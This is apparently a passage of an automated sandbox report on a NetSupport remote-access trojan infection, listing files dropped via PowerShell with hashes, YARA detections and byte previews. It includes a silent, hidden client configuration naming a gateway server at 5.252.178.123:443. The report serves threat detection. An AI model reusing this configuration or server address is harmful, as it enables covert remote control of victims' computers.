SHA-512:	F089C59A24F33410CF98FBA7EA0DD2CA0FD997EFC9A03E5355CDE3C1A1F4A78B13CEBD387099B9DE824BFFEA01C489D8F0E90DF56F89973007DABB6AFDDE607F
Malicious:	true
Reputation:	low
Preview:	1200..0x3bcb348e....; NetSupport License File...; Generated on 11:54 - 21/03/20sd........[[Enforce]]....[_License]..control_only=0..expiry=..inactive=0..licensee=EVALUSION..maxslaves=5000..os2=1..product=10..serial_no=NSM165348..shrink_wrap=0..transport=0..

C:\Users\user\AppData\Roaming\Directory\NSM.ini

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Generic INItialization configuration [Features]
Category:	dropped
Size (bytes):	6458
Entropy (8bit):	4.645519507940197
Encrypted:	false
SSDEEP:	96:B6pfGAtXOdwpEKyhuSY92fihuUhENXh8o3IFhucOi49VLO9kNVnkOeafhuK7cwo4:BnwpwYFuy6/njroYbe3j1vlS
MD5:	88B1DAB8F4FD1AE879685995C90BD902
SHA1:	3D23FB4036DC17FA4BEE27E3E2A56FF49BEED59D
SHA-256:	60FE386112AD51F40A1EE9E1B15ECA802CED174D7055341C491DEE06780B3F92
SHA-512:	4EA2C20991189FE1D6D5C700603C038406303CCA594577DDCBC16AB9A7915CB4D4AA9E53093747DB164F068A7BA0F568424BC8CB7682F1A3FB17E4C9EC01F047
Malicious:	false
Reputation:	low
Preview:	..[General]..ClientParams=..CLIENT32=..Installdir=..NOARP=..SuppressAudio=......[Features]..Client=1..Configurator=..Control=..Gateway=..PINServer=..RemoteDeploy=..Scripting=..Student=..TechConsole=..Tutor=......[StartMenuIcons]..ClientIcon=..ConfigIcon=..ControlIcon=..RemoteDeployIcon=..ScriptingIcon=..TechConsoleIcon=..TutorIcon=......[DesktopIcons]..ControlDeskIcon=..TechConsoleDeskIcon=..TutorDeskIcon=............; This NSM.ini file can be used to customise the component selections when performing a silent installation of the product.....; Client=<1/Blank>..; e.g...; Client=1..; Controls whether the client component is installed (1) on the target machine or not (Blank)..;....; CLIENT32=<blank/not blank>..; e.g...;. CLIENT32=..;. Setting this to anything causes the Client Service (if installed) to be set to manual start rather than automatic..;....; ClientIcon=<1/Blank>..; e.g...; ClientIcon=1..; Controls whether shortcut icons are placed on t

C:\Users\user\AppData\Roaming\Directory\PCICHEK.DLL

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18808
Entropy (8bit):	6.22028391196942
Encrypted:	false
SSDEEP:	192:1ANeiOT8Z2b6SoVF6RRHaPrpF3o47jtd3hfwHjvud3hfwx7bjuh:1ANt+E2exrpxTSDuTuih
MD5:	A0B9388C5F18E27266A31F8C5765B263
SHA1:	906F7E94F841D464D4DA144F7C858FA2160E36DB
SHA-256:	313117E723DDA6EA3911FAACD23F4405003FB651C73DE8DEFF10B9EB5B4A058A
SHA-512:	6051A0B22AF135B4433474DC7C6F53FB1C06844D0A30ED596A3C6C80644DF511B023E140C4878867FA2578C79695FAC2EB303AEA87C0ECFC15A4AD264BD0B3CD
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\Directory\PCICHEK.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......sv..7.d.7.d.7.d.,...5.d.,...4.d.>o..0.d.7.e...d.,...3.d.,...6.d.,...6.d.,...6.d.Rich7.d.........PE..L...f..U...........!......................... ...............................`............@.........................p"..a.... ..P....@............... ..x)...P......@ ............................................... ..@............................text...$........................... ..`.rdata....... ......................@..@.data........0......................@....rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Directory\PCICL32.DLL

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3735416
Entropy (8bit):	6.525042992590476
Encrypted:	false
SSDEEP:	49152:cTXNZ+0ci2aYNT8wstdAukudJ1xTvIZamclSp+73mPu:cTXNo0cpKwstTJIkS43mm
MD5:	00587238D16012152C2E951A087F2CC9
SHA1:	C4E27A43075CE993FF6BB033360AF386B2FC58FF
SHA-256:	63AA18C32AF7144156E7EE2D5BA0FA4F5872A7DEB56894F6F96505CBC9AFE6F8
SHA-512:	637950A1F78D3F3D02C30A49A16E91CF3DFCCC59104041876789BD7FDF9224D187209547766B91404C67319E13D1606DA7CEC397315495962CBF3E2CCD5F1226
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: C:\Users\user\AppData\Roaming\Directory\PCICL32.DLL, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\Directory\PCICL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 11%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........(.t.I.'.I.'.I.'A..'.I.'...'.I.'.?#'.I.'...'.I.'.1.'.I.'.I.'.J.'.1.'.I.'.1.'.I.'..#',I.'.."'.I.'...'.I.'...'.I.'...'.I.'Rich.I.'................PE..L......V...........!......... ..............0................................9.....f-9.....................................4........`................8.x)...P7.p....@.......................P.......P..@............0..........`....................text............................... ..`.rdata.......0......................@..@.data....%..........................@....tls.........@......................@....hhshare.....P......................@....rsrc........`......................@..@.reloc..(2...P7..4....6.............@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Directory\TCCTL32.DLL

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	396664
Entropy (8bit):	6.809064783360712
Encrypted:	false
SSDEEP:	12288:OpwbUb48Ju0LIFZB4Qaza4yFaMHAZtJ4Yew2j/bJa+neNQ:epq7BaGIn4BbLneNQ
MD5:	EAB603D12705752E3D268D86DFF74ED4
SHA1:	01873977C871D3346D795CF7E3888685DE9F0B16
SHA-256:	6795D760CE7A955DF6C2F5A062E296128EFDB8C908908EDA4D666926980447EA
SHA-512:	77DE0D9C93CCBA967DB70B280A85A770B3D8BEA3B707B1ABB037B2826B48898FEC87924E1A6CCE218C43478E5209E9EB9781051B4C3B450BEA3CD27DBD32C7F3
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\Directory\TCCTL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............z..z..z.....z.....z.....z..{.Y.z....K.z......z.....z......z.....z.Rich.z.........PE..L...Y?XV...........!................................................................'.....@.............................o...T...x....0..@...............x)...@..\E..................................`d..@...............h............................text............................... ..`.rdata../...........................@..@.data...h............\|..............@....rsrc...@....0......................@..@.reloc.. F...@...H..................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Directory\branding.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	52016
Entropy (8bit):	7.12312575234078
Encrypted:	false
SSDEEP:	768:Qx/SWE1b2Rz9pYj9+Emxt1dRn1E1WZAw87jr++nnOYikdP3iPmbL:AqKRz9pYE1swiwZ7kdf7
MD5:	624CC97B1A59CEF7496378F35B2C80DC
SHA1:	7CCD976D8DA0A7868A110BC017F5FC57272BA192
SHA-256:	214BB96E33FAC6FA19F5C33F950267BF5D25507D0F78EEE1707F16442EAECB5D
SHA-512:	CF15A8C6612C5EC0161F76EDDC8683BAA17E85A78FECD21681A870C2E02B99EE088ADD5253AEE83FE0F18D0B9D33DE9D0215297D9A57175840FE2AB54C19089A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......7.<.s.R.s.R.s.R...r.R...P.r.R.Richs.R.........PE..L....[~g...........!......................................................................@.......................................... .............H....*...........................................................................................rdata..p...........................@..@.rsrc....... ......................@..@.............[~g........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01....."..X....rsrc$02............................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Directory\client32.exe

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	120288
Entropy (8bit):	5.258428134726746
Encrypted:	false
SSDEEP:	768:zfVZl6FhWr80/SqUr2pe/3NPHDHf/ckvKoGr2pe/kCHDHf/ckPG:z70hGaq0ee/3hjHTIee/djHC
MD5:	EE75B57B9300AAB96530503BFAE8A2F2
SHA1:	98DD757E1C1FA8B5605BDA892AA0B82EBEFA1F07
SHA-256:	06A0A243811E9C4738A9D413597659CA8D07B00F640B74ADC9CB351C179B3268
SHA-512:	660259BB0FD317C7FB76505DA8CBC477E146615FEC10E02779CD4F527AEB00CAED833AF72F90B128BB62F10326209125E809712D9ACB41017E503126E5F85673
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\Directory\client32.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 19%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........W.g.W.g.W.g.^...U.g.8...T.g.W.f.R.g.8..V.g.8...V.g.8...V.g.RichW.g.........PE..L...1.oe.....................r...... ........ ....@..................................b....@.................................< ..<....0..Hm...........x...].......... ............................................... ...............................text............................... ..`.rdata..^.... ......................@..@.rsrc...Hm...0...n..................@..@.reloc..l............v..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Directory\client32.ini

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	722
Entropy (8bit):	5.466470875929335
Encrypted:	false
SSDEEP:	12:1fxS2hz7YU+Vtj8ZGShR8kkivlnxOZ7+DP981E7GXXfDWQCYnmSuhphAvHQ+:1fI2hzEPVN8ZNR8pivlnxOoG1fXXfD/z
MD5:	D66F68CEA46C0865F4C8F5A15C40DC34
SHA1:	D8A47A148D53A2DD718F42B99C10168E234663F8
SHA-256:	1B9E95D80DA3FF333108446FCF11353A385069F67B6EB85A0853A695BFC070C0
SHA-512:	752272B13C08DB73866885B209A0F6667F979275F7F290C4F50C61949C2A448D93A32D69F1D5F4969FD48E2C0DA2A1D20EE559C14862B89FCCF66DCB95A2756D
Malicious:	false
Reputation:	low
Preview:	0xf88b6b24....[Client].._present=1..AlwaysOnTop=1..DisableChat=1..DisableChatMenu=1..DisableClientConnect=1..DisableCloseApps=0..DisableDisconnect=1..DisableGeolocation=1..DisableManageServices=0..DisableReplayMenu=1..DisableRequestHelp=1..HideWhenIdle=1..Protocols=3..RADIUSSecret=dgAAAPpMkI7ke494fKEQRUoablcA..RoomSpec=Eval..silent=1..SKMode=1..SysTray=0..UnloadMirrorOnDisconnect=1..Usernames=*....[_Info]..Filename=C:\Program Files (x86)\NetSupport\NetSupport Manager\client32u.ini....[_License]..quiet=1....[Audio]..DisableAudioFilter=1....[General]..BeepUsingSpeaker=0....[HTTP]..GatewayAddress=5.252.178.123:443..gsk=EP9I<B@NEH:D=L?NBAEIGO=D..gskmode=0..GSK=EP9I<B@NEH:D=L?NBAEIGO=D..GSKX=EP9I<B@NEH:D=L?NBAEIGO=D..

C:\Users\user\AppData\Roaming\Directory\gehrga\avcodec-53.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	1100800
Entropy (8bit):	6.620410772323589
Encrypted:	false
SSDEEP:	24576:AvFsWsTZw0h9+Ed1c0IHtUqnm5AmeU4QATwj5H7liH3Yq:ANs9Fw+p1c0IHtUqsAmevTwtliH3Yq
MD5:	BBA1FE328CEA501FCCE1E5DF16276439
SHA1:	ED4AD3A8D6F0E3DD86ABB19BC18127F960EA2131
SHA-256:	F5522D2C936DE8D53F97A6EC439D8F8391CB50A0BC6008A399F9454C00929D35
SHA-512:	8F585D57BAA39D3E5E6B62EFEA53B6B3797319AE86C0C4373774D08E284A49C0BD005E200AE4FABC789470B3F100F98C8CE503FD4702F79DCBF4BE4AABC58A9E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....U.N...........#...............................e......................... ............@... ................................................................`K...................................................................................text...............................`..`.data...............................@.`..rdata..............................@.0@.rodata.............................@.`@/4...... ...........................@.0..bss..................................`..edata.............................@.0@.idata...............P..............@.0..CRT.................`..............@.0..tls.... ............b..............@.0..reloc..`K.......L...d..............@.0B........................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Directory\gehrga\avutil-51.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	124416
Entropy (8bit):	6.588986505188613
Encrypted:	false
SSDEEP:	3072:ifLOXurSBlfHfG2N1X5S4RvSCzdPV0VXkjf5dF:MElt3SsDdPVLjf5dF
MD5:	2A8B8A15A58EDF3B443083EC29894E54
SHA1:	B63A322D66472FBD2FB7723847AF0F995BF9BF84
SHA-256:	84E6875F1869B8CFD73525F0C04F1BF2CF0D0D08B1226F62CFD44FF14FE0345D
SHA-512:	6209DC4E3DDFA585EEA3CDB26FE1B731962BE4A0E39B561DE6D16451E48CFCF0459F474FAB54F97BABFF87B969365895737F57D6A22C26B57CB3447230F0AAED
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....U.N...........#.....Z.......H...........p.....h.........................p......p.....@... .........................T....0...............................`...............................P.......................................................text....Y.......Z..................`.P`.data....<...p...>...^..............@.`./4......p...........................@.0..bss....@F............................`..edata..T...........................@.0@.idata.......0......................@.0..CRT.........@......................@.0..tls.... ....P......................@.0..reloc.......`......................@.0B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Directory\gehrga\itvwd64.sys

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	73288
Entropy (8bit):	6.197446784194677
Encrypted:	false
SSDEEP:	768:YO93YaGUGtxzPVu9IDd421aliP6hcvF4q9p9T7tvXc1PFbCcbvxi0i7Cp0hbJ1xd:b0xzPVEIZ3oifshFbLRCJ1WPdbWZzaS
MD5:	8289A296482DEBAF4ED03545C999C5D8
SHA1:	33B02C70EE88BCE1E312EC5FEAE67DDB87BE5CD4
SHA-256:	38A82D788638814AB23363B607C6386B938EE404865F7D1E42C324B974911F2C
SHA-512:	186239897D31D8DDEB89E2E65C2ECBD53CB33FBA256E4802F56BED712C7D628B733D590BBA6DE7E47F665C0AE01A86126B421229ECB27048CD3B396A97BD3F67
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Y......A...A...A..\A...A..SA...A...A$..A..HA...A..NA...A..XA...A..RA...A..OA...A..JA...ARich...A................PE..d.....`..........".................@.......................................................................................................`P..x....`.......@..........H(...p......................................................................................text............................... ..h.rdata...;.......<..................@..H.data...0A..........................@....pdata.......@......................@..HINIT.........P...................... ....rsrc........`......................@..B.reloc..f....p......................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Directory\gehrga\libstdc++-6.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	2182144
Entropy (8bit):	6.62603375882745
Encrypted:	false
SSDEEP:	24576:B3y7q7nXoXFNWxKdjbdq4iqMY0mfPB62rMkZ+vmcYnhSMXlrxJnjSR0b4:B3y7q7XoXFN/dbdq4iqMO6qMkZ+XYbx
MD5:	40238E2CBE06EBCCE9A5FD43F29CD894
SHA1:	DD6669597DB2E35B7AB822FB3FC3E22FCDA78CF3
SHA-256:	24BB59B5F14472866F7280D8091D8AC89F6C388B1B70E5A54EE89C3ED93DC58E
SHA-512:	DF9B2F9D4BA12FD5C5D86872E5D9A9D726A2406153A09F6F9743A537F87465504D79D99969AE65857F37E6E297E17E413F98E3B70C0D12B882F3BD6555C1CCF1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....g..........."...).h...H!..... .........................................!.......!...`... ..........................................v...P!.,............0................!............................. M..(....................U!.X............................text....f.......h..................`..`.data....B.......B...l..............@....rdata..._.......`..................@..@.pdata.......0......................@..@.xdata......0......................@..@.bss.....................................edata...v.......x..................@..@.idata..,....P!.......!.............@....CRT....X....p!......(!.............@....tls..........!......*!.............@....reloc........!.. ...,!.............@..B........................................................................................................................................................................

C:\Users\user\AppData\Roaming\Directory\hw.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1641376
Entropy (8bit):	6.831481099936426
Encrypted:	false
SSDEEP:	49152:Pn5eTLq8KRr1h1naYZe2+h6yfQDnlRZJB1/2:BeUn1naYc2X7lPU
MD5:	A74C64DE593E2533C04200C5417BD9E9
SHA1:	F0F7372692F285154C76BE35FC50B89ED0EA2D18
SHA-256:	BE45F76049A133392423679D334C69C8E1E7E82DC873EEBDD229EA0341BA1B10
SHA-512:	76ED60EFD226AAF32788B27E878CCA71560BC4A533D12B29CF22BD9D12A14E6DC26D831C2541FCF128DAC46E7C539A65198FCE36F1C7E99C21879AAE3CD01CCF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...................................(...VLV.....Y.....=_P..........j..<w.o.=.E.....o;#.Mu..P..kk......jwCU..`@.L.Y.).5..*".K3....d..n.^...t.0V.k........<.P.0....&.......".x..-)>...........................................................................................PE..L....=_...........!................1.........................................%.....................................`....L..X...@.....#.`>..........`...@....P#.....`...................................................`............................text.............................. ..`.rdata.............................@..@.data........P... ...P..............@....rsrc...`>....#..@...p..............@..@.reloc...0...P#..@..................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Directory\katrga\avcodec-53.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	1100800
Entropy (8bit):	6.620410772323589
Encrypted:	false
SSDEEP:	24576:AvFsWsTZw0h9+Ed1c0IHtUqnm5AmeU4QATwj5H7liH3Yq:ANs9Fw+p1c0IHtUqsAmevTwtliH3Yq
MD5:	BBA1FE328CEA501FCCE1E5DF16276439
SHA1:	ED4AD3A8D6F0E3DD86ABB19BC18127F960EA2131
SHA-256:	F5522D2C936DE8D53F97A6EC439D8F8391CB50A0BC6008A399F9454C00929D35
SHA-512:	8F585D57BAA39D3E5E6B62EFEA53B6B3797319AE86C0C4373774D08E284A49C0BD005E200AE4FABC789470B3F100F98C8CE503FD4702F79DCBF4BE4AABC58A9E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....U.N...........#...............................e......................... ............@... ................................................................`K...................................................................................text...............................`..`.data...............................@.`..rdata..............................@.0@.rodata.............................@.`@/4...... ...........................@.0..bss..................................`..edata.............................@.0@.idata...............P..............@.0..CRT.................`..............@.0..tls.... ............b..............@.0..reloc..`K.......L...d..............@.0B........................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Directory\katrga\avutil-51.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	124416
Entropy (8bit):	6.588986505188613
Encrypted:	false
SSDEEP:	3072:ifLOXurSBlfHfG2N1X5S4RvSCzdPV0VXkjf5dF:MElt3SsDdPVLjf5dF
MD5:	2A8B8A15A58EDF3B443083EC29894E54
SHA1:	B63A322D66472FBD2FB7723847AF0F995BF9BF84
SHA-256:	84E6875F1869B8CFD73525F0C04F1BF2CF0D0D08B1226F62CFD44FF14FE0345D
SHA-512:	6209DC4E3DDFA585EEA3CDB26FE1B731962BE4A0E39B561DE6D16451E48CFCF0459F474FAB54F97BABFF87B969365895737F57D6A22C26B57CB3447230F0AAED
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....U.N...........#.....Z.......H...........p.....h.........................p......p.....@... .........................T....0...............................`...............................P.......................................................text....Y.......Z..................`.P`.data....<...p...>...^..............@.`./4......p...........................@.0..bss....@F............................`..edata..T...........................@.0@.idata.......0......................@.0..CRT.........@......................@.0..tls.... ....P......................@.0..reloc.......`......................@.0B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Directory\katrga\itvwd64.sys

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	73288
Entropy (8bit):	6.197446784194677
Encrypted:	false
SSDEEP:	768:YO93YaGUGtxzPVu9IDd421aliP6hcvF4q9p9T7tvXc1PFbCcbvxi0i7Cp0hbJ1xd:b0xzPVEIZ3oifshFbLRCJ1WPdbWZzaS
MD5:	8289A296482DEBAF4ED03545C999C5D8
SHA1:	33B02C70EE88BCE1E312EC5FEAE67DDB87BE5CD4
SHA-256:	38A82D788638814AB23363B607C6386B938EE404865F7D1E42C324B974911F2C
SHA-512:	186239897D31D8DDEB89E2E65C2ECBD53CB33FBA256E4802F56BED712C7D628B733D590BBA6DE7E47F665C0AE01A86126B421229ECB27048CD3B396A97BD3F67
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Y......A...A...A..\A...A..SA...A...A$..A..HA...A..NA...A..XA...A..RA...A..OA...A..JA...ARich...A................PE..d.....`..........".................@.......................................................................................................`P..x....`.......@..........H(...p......................................................................................text............................... ..h.rdata...;.......<..................@..H.data...0A..........................@....pdata.......@......................@..HINIT.........P...................... ....rsrc........`......................@..B.reloc..f....p......................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Directory\katrga\libstdc++-6.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	2182144
Entropy (8bit):	6.62603375882745
Encrypted:	false
SSDEEP:	24576:B3y7q7nXoXFNWxKdjbdq4iqMY0mfPB62rMkZ+vmcYnhSMXlrxJnjSR0b4:B3y7q7XoXFN/dbdq4iqMO6qMkZ+XYbx
MD5:	40238E2CBE06EBCCE9A5FD43F29CD894
SHA1:	DD6669597DB2E35B7AB822FB3FC3E22FCDA78CF3
SHA-256:	24BB59B5F14472866F7280D8091D8AC89F6C388B1B70E5A54EE89C3ED93DC58E
SHA-512:	DF9B2F9D4BA12FD5C5D86872E5D9A9D726A2406153A09F6F9743A537F87465504D79D99969AE65857F37E6E297E17E413F98E3B70C0D12B882F3BD6555C1CCF1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....g..........."...).h...H!..... .........................................!.......!...`... ..........................................v...P!.,............0................!............................. M..(....................U!.X............................text....f.......h..................`..`.data....B.......B...l..............@....rdata..._.......`..................@..@.pdata.......0......................@..@.xdata......0......................@..@.bss.....................................edata...v.......x..................@..@.idata..,....P!.......!.............@....CRT....X....p!......(!.............@....tls..........!......*!.............@....reloc........!.. ...,!.............@..B........................................................................................................................................................................

C:\Users\user\AppData\Roaming\Directory\kpodja\avcodec-53.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	1100800
Entropy (8bit):	6.620410772323589
Encrypted:	false
SSDEEP:	24576:AvFsWsTZw0h9+Ed1c0IHtUqnm5AmeU4QATwj5H7liH3Yq:ANs9Fw+p1c0IHtUqsAmevTwtliH3Yq
MD5:	BBA1FE328CEA501FCCE1E5DF16276439
SHA1:	ED4AD3A8D6F0E3DD86ABB19BC18127F960EA2131
SHA-256:	F5522D2C936DE8D53F97A6EC439D8F8391CB50A0BC6008A399F9454C00929D35
SHA-512:	8F585D57BAA39D3E5E6B62EFEA53B6B3797319AE86C0C4373774D08E284A49C0BD005E200AE4FABC789470B3F100F98C8CE503FD4702F79DCBF4BE4AABC58A9E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....U.N...........#...............................e......................... ............@... ................................................................`K...................................................................................text...............................`..`.data...............................@.`..rdata..............................@.0@.rodata.............................@.`@/4...... ...........................@.0..bss..................................`..edata.............................@.0@.idata...............P..............@.0..CRT.................`..............@.0..tls.... ............b..............@.0..reloc..`K.......L...d..............@.0B........................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Directory\kpodja\avutil-51.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	124416
Entropy (8bit):	6.588986505188613
Encrypted:	false
SSDEEP:	3072:ifLOXurSBlfHfG2N1X5S4RvSCzdPV0VXkjf5dF:MElt3SsDdPVLjf5dF
MD5:	2A8B8A15A58EDF3B443083EC29894E54
SHA1:	B63A322D66472FBD2FB7723847AF0F995BF9BF84
SHA-256:	84E6875F1869B8CFD73525F0C04F1BF2CF0D0D08B1226F62CFD44FF14FE0345D
SHA-512:	6209DC4E3DDFA585EEA3CDB26FE1B731962BE4A0E39B561DE6D16451E48CFCF0459F474FAB54F97BABFF87B969365895737F57D6A22C26B57CB3447230F0AAED
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....U.N...........#.....Z.......H...........p.....h.........................p......p.....@... .........................T....0...............................`...............................P.......................................................text....Y.......Z..................`.P`.data....<...p...>...^..............@.`./4......p...........................@.0..bss....@F............................`..edata..T...........................@.0@.idata.......0......................@.0..CRT.........@......................@.0..tls.... ....P......................@.0..reloc.......`......................@.0B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Directory\kpodja\itvwd64.sys

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	73288
Entropy (8bit):	6.197446784194677
Encrypted:	false
SSDEEP:	768:YO93YaGUGtxzPVu9IDd421aliP6hcvF4q9p9T7tvXc1PFbCcbvxi0i7Cp0hbJ1xd:b0xzPVEIZ3oifshFbLRCJ1WPdbWZzaS
MD5:	8289A296482DEBAF4ED03545C999C5D8
SHA1:	33B02C70EE88BCE1E312EC5FEAE67DDB87BE5CD4
SHA-256:	38A82D788638814AB23363B607C6386B938EE404865F7D1E42C324B974911F2C
SHA-512:	186239897D31D8DDEB89E2E65C2ECBD53CB33FBA256E4802F56BED712C7D628B733D590BBA6DE7E47F665C0AE01A86126B421229ECB27048CD3B396A97BD3F67
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Y......A...A...A..\A...A..SA...A...A$..A..HA...A..NA...A..XA...A..RA...A..OA...A..JA...ARich...A................PE..d.....`..........".................@.......................................................................................................`P..x....`.......@..........H(...p......................................................................................text............................... ..h.rdata...;.......<..................@..H.data...0A..........................@....pdata.......@......................@..HINIT.........P...................... ....rsrc........`......................@..B.reloc..f....p......................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Directory\kpodja\libstdc++-6.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	2182144
Entropy (8bit):	6.62603375882745
Encrypted:	false
